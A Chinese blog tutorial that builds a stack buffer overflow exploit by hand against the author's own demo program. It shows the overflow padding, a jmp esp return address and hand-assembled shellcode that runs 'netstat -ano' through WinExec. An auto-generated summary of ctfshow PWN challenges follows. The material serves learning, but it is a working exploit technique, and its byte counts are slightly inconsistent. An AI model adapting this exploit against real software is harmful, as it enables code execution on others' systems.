缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)

0x01 介绍

Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode

测试环境:C-free5 + Windows10 + 2019年1月25日

0x02 测试漏洞溢出长度

1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序
在这里插入图片描述
2、这个程序储存test[5]这个字符串变量的栈地址是这样的
在这里插入图片描述
3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

0x03 返回地址利用

1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用

2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512

"\x12\x45\xfa\x7f"

0x04 编写shellcode

1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等

2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令

ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时
在这里插入图片描述
3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理
push ebp // 压入ebp,保存环境
mov ebp,esp // 这个不多说了吧
push eax // 预留16字节栈空间储存"netstat -ano"
push eax // push一个eax4个字节
push eax
push eax
mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”
mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”
mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”
mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”
mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”
mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”
mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”
mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”
mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”
push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)
lea eax,dword ptr ss:[ebp-0x10]
push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10
call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同

4、贴出WinExec函数原型
在这里插入图片描述在这里插入图片描述

5、对应的机器码,就是OD代码右边的东西

"\x55"
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x5 组合代码形成Exploit

16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"					// 溢出代码
"\x12\x45\xfa\x7f"					// 返回地址
"\x55"										// shellcode
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x6 测试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功运行了netstat -ano这个命令,本次学习测试到此结束

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值